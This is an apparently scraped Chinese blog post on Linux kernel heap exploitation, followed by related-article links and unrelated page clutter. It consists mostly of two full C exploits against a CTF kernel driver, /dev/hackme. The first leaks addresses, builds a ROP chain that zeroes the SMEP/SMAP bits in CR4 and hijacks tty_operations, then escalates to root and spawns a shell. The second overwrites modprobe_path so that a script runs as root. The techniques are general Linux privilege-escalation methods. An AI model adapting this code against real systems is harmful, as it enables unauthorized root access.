kernel heap bypass smep,smap && 劫持modprobe_path

exp1

smep:smep即用户数据不可执行,当 CPU 处于 ring0 模式时,执行用户空间的代码会触发页错误,系统根据CR4寄存器的第20位判断内核是否开启smep,为1时开启,为0时关闭(第21位是SMAP位)。

smap:smap用户数据不可访问。

通过控制cr4寄存器为0x6f0即可绕过。

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h> size_t vmlinux_base, off, commit_creds, prepare_kernel_cred;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t rop[0x100] = {0}; int fd; struct Heap{
size_t index;
char *data;
size_t len;
size_t offset;
}; void add(int index, size_t len, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
ioctl(fd, 0x30000, &heap);
} void delete(int index)
{
struct Heap heap;
heap.index = index;
ioctl(fd, 0x30001, &heap);
} void edit(int index, size_t len, size_t offset, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
heap.offset = offset;
ioctl(fd, 0x30002, &heap);
} void show(int index, size_t len, size_t offset, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
heap.offset = offset;
ioctl(fd, 0x30003, &heap);
} void save_status()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[+] save the state success!");
} void get_shell()
{
if (getuid() == 0)
{
puts("[*] get root");
system("/bin/sh");
}
else
{
puts("[-] get root error");
sleep(3);
exit(0);
}
} void get_root()
{
//commit_creds(prepare_kernel_cred(0))
void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;
void (*cc)(void *) = (void (*)(void *))commit_creds;
(*cc)((*pkc)(0));
} int main()
{
save_status(); char buf[0x1000] = {0};
size_t fake_tty_struct[4] = {0};
size_t fake_tty_operations[35] = {0}; fd = open("/dev/hackme",0);
if(fd < 0)
{
puts("[-] open file error");
sleep(3);
exit(0);
} add(0, 0x2e0, buf); // 0
add(1, 0x2e0, buf); // 1
add(2, 0x100, buf); // 2
add(3, 0x100, buf); // 3
delete(0);
delete(2); show(3, 0x100, -0x100, buf);
size_t heap_addr = ((size_t *)buf)[0] - 0x200;
printf("[+] heap_addr=> 0x%lx\n", heap_addr); int fd_tty = open("/dev/ptmx",O_RDWR | O_NOCTTY);
if(fd_tty < 0)
{
puts("[-] open ptmx error");
sleep(3);
exit(0);
} show(1, 0x400, -0x400, buf);
vmlinux_base = ((size_t *)buf)[3] - 0x625d80;
printf("[+] vmlinux_base=> 0x%lx\n", vmlinux_base);
off = vmlinux_base - raw_vmlinux_base;
commit_creds = off + 0xffffffff8104d220;
prepare_kernel_cred = off + 0xffffffff8104d3d0; int i = 0;
rop[i++] = off + 0xffffffff8101b5a1; // pop rax; ret;
rop[i++] = 0x6f0;
rop[i++] = off + 0xffffffff8100252b; // mov cr4, rax; push rcx; popfq; pop rbp; ret;
rop[i++] = 0;
rop[i++] = (size_t)get_root;
rop[i++] = off + 0xffffffff81200c2e; // swapgs; popfq; pop rbp; ret;
rop[i++] = 0;
rop[i++] = 0;
rop[i++] = off + 0xffffffff81019356; // iretq; pop rbp; ret;
rop[i++] = (size_t)get_shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss; add(2, 0x100, (char *)rop); fake_tty_operations[7] = off + 0xffffffff810608d5; // push rax; pop rsp; ret; fake_tty_operations[0] = off + 0xffffffff810484f0; // pop rsp; ret;
fake_tty_operations[1] = heap_addr; ((size_t *)buf)[3] = heap_addr + 0x100; delete(3);
add(3, 0x100, (char *)fake_tty_operations); edit(1, 0x400, -0x400, buf); write(fd_tty, "FXC", 3);
return 0;
}

exp2

mod_tree:可以泄露驱动地址,当堆栈中找不到时可以来这里查找。

modprobe_path:当我们执行一个非法文件时,就会以root权限去执行modprobe_path所指向的文件,通常是指向/sbin/modprobe,如果改成我们创建的cat flag的文件,那么就可以拿到flag

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h> int fd;
size_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr; struct Heap{
size_t index;
char *data;
size_t len;
size_t offset;
}; void add(int index, size_t len, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
ioctl(fd, 0x30000, &heap);
} void delete(int index)
{
struct Heap heap;
heap.index = index;
ioctl(fd, 0x30001, &heap);
} void edit(int index, size_t len, size_t offset, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
heap.offset = offset;
ioctl(fd, 0x30002, &heap);
} void show(int index, size_t len, size_t offset, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
heap.offset = offset;
ioctl(fd, 0x30003, &heap);
} void get_flag()
{
puts("[+] Prepare shell file.");
system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /shell.sh");
system("chmod +x /shell.sh"); puts("[+] Prepare trigger file.");
system("echo -ne '\\xff\\xff\\xff\\xff' > /FXC");
system("chmod +x /FXC"); system("cat /proc/sys/kernel/modprobe");
system("/FXC");
system("cat /flag"); sleep(5);
} int main()
{
fd = open("/dev/hackme",0);
if(fd < 0)
{
puts("[-] open file error");
sleep(3);
exit(0);
} char buf[0x1000] = {0}; add(0, 0x100, buf); // 0
add(1, 0x100, buf); // 1
add(2, 0x100, buf); // 2
add(3, 0x100, buf); // 3
add(4, 0x100, buf); // 4 delete(1);
delete(3); show(4, 0x100, -0x100, buf);
heap_base = ((size_t *)buf)[0] - 0x100;
printf("[+] heap_addr=> 0x%lx\n", heap_base); show(0, 0x200, -0x200, buf);
vmlinux_base = ((size_t *)buf)[0] - 0x8472c0;
printf("[+] vmlinux_base=> 0x%lx\n", vmlinux_base);
mod_tree = vmlinux_base + 0x811000;
modprobe_path = vmlinux_base + 0x83f960; memset(buf,'\x00',0x100);
((size_t *)buf)[0] = mod_tree + 0x40;
edit(4, 0x100, -0x100, buf); add(5, 0x100, buf); // 5
add(6, 0x100, buf); // 6 show(6, 0x40, -0x40, buf);
ko_base = ((size_t *)buf)[3];
printf("[+] ko_base=> 0x%lx\n", ko_base); delete(2);
delete(5); getchar();
((size_t *)buf)[0] = ko_base + 0x2400 + 0xc0;
edit(4, 0x100, -0x100, buf); add(7, 0x100, buf); // 7
add(8, 0x100, buf); // 8 ((size_t *)buf)[0] = modprobe_path;
((size_t *)buf)[1] = 0x100;
edit(8, 0x10, 0, buf); strncpy(buf, "/shell.sh\x00", 0xa);
edit(12, 0xa, 0, buf); get_flag();
return 0;
}

kernel heap bypass smep,smap && 劫持modprobe_path的更多相关文章

  1. Linux kernel pwn notes(内核漏洞利用学习)

    前言 对这段时间学习的 linux 内核中的一些简单的利用技术做一个记录,如有差错,请见谅. 相关的文件 https://gitee.com/hac425/kernel_ctf 相关引用已在文中进行了 ...

  2. How to exploit the x32 recvmmsg() kernel vulnerability CVE 2014-0038

    http://blog.includesecurity.com/2014/03/exploit-CVE-2014-0038-x32-recvmmsg-kernel-vulnerablity.html ...

  3. ret2dir:Rethinking Kernel Isolation(翻译)

    前一段时间在网上找ret2dir的资料,一直没找到比较系统的介绍,于是干脆把这篇经典的论文翻译了,当然,第一次翻译(而且还这么长),很多词汇不知道到底该怎么翻译,而且最近事情也比较多, 翻译得挺烂的, ...

  4. ANALYSIS AND EXPLOITATION OF A LINUX KERNEL VULNERABILITY (CVE-2016-0728)

    ANALYSIS AND EXPLOITATION OF A LINUX KERNEL VULNERABILITY (CVE-2016-0728) By Perception Point Resear ...

  5. Windows Kernel Security Training Courses

    http://www.codemachine.com/courses.html#kerdbg Windows Kernel Internals for Security Researchers Thi ...

  6. Microsoft Windows CE 5.0 Board Support Package, Boot Loader, and Kernel Startup Sequence

    Summary Learn about the initial, low-level startup sequence and the hardware platform functions that ...

  7. Windows漏洞利用与防护(2015.8)

    Windows平台下的漏洞利用与防护 0x00 概述 在过去的二十几年,Windows作为网络安全的主战场之一,攻于防的较量从未停息过.内存破坏漏洞作为研究的重点之一,经历了很多的发展也沉淀了前辈们许 ...

  8. [转]Mac OS X local privilege escalation (IOBluetoothFamily)

    Source: http://joystick.artificialstudios.org/2014/10/mac-os-x-local-privilege-escalation.html Nowad ...

  9. linux提权辅助工具(一):linux-exploit-suggester.sh

    来自:https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh ...

随机推荐

  1. composer安装报错

    问题报错:Fatal error: Declaration of Fxp\Composer\AssetPlugin\Repository\AbstractAssetsRepository::searc ...

  2. linux java7升级到java8

    转自:https://blog.csdn.net/u010199866/article/details/81744382 linux java7升级到java8   版权 1.第一步先卸载所有老的jd ...

  3. 如何运行exe文件

    有三种方式 第一种:找到所在文件双击运行. 第二种:在命令行里面运行所在文件夹的位置,在输入文件名. 第三种:加到环境变量里面执行

  4. ip地址与子网掩码概述

    IP地址: IP地址(Internet Protocol):IP地址是IP协议提供的一种统一的地址格式,它为互联网上的每一个网络和每一台主机分配一个逻辑地址,以此来屏蔽物理地址的差异. IP地址分为五 ...

  5. Altium_Designer PCB文件的绘制(上:PCB基础和布局)

    PCB设计基础知识 PCB面板 在PCB设计中,最重要的一个面板就是"PCB面板".该面板的功能主要是对电路板中的各个对象进行精确定位,并以特定的效果显示出来.该面板还可以对各种对 ...

  6. Emscripten教程之入门指导

    翻译:云荒杯倾本文是Emscripten-WebAssembly专栏系列文章之一,更多文章请查看专栏.也可以去作者的博客阅读文章.欢迎加入Wasm和emscripten技术交流群,群聊号码:93920 ...

  7. Canvas 核心技术

    最近项目需求中要写较多H5小游戏,游戏本身体量不是很复杂,主要是承载较多业务逻辑,所以决定用canvas来完成游戏部分.之前只是知道H5中有canvas这个东西,也知道它大概是画图的,但具体怎么用,还 ...

  8. java中线程有什么用?

    线程有什么用? 通过引入线程技术,在浏览器中你可以浏览网页的同时,播放动画和声音效果,同时在后台打印一个页面.例如老板可以同时处理工程师,秘书和清洁人员的事,这 就是多线程处理机制.Within th ...

  9. 抽象方法不能为private,final或者static,为什么?

    4)抽象方法不能为private,final或者static, native, synchrozied为什么?[新手可忽略不影响继续学习]马克-to-win:抽象方法的最实质的意义在于被未来的子类覆盖 ...

  10. 微信小程序获取今天,昨天,后天

    today 是需要计算的某一天的日期例如"2018-12-12",传 null 默认今天,addDayCount 是要推算的天数, -1是前一天,0是今天,1是后一天. onLoa ...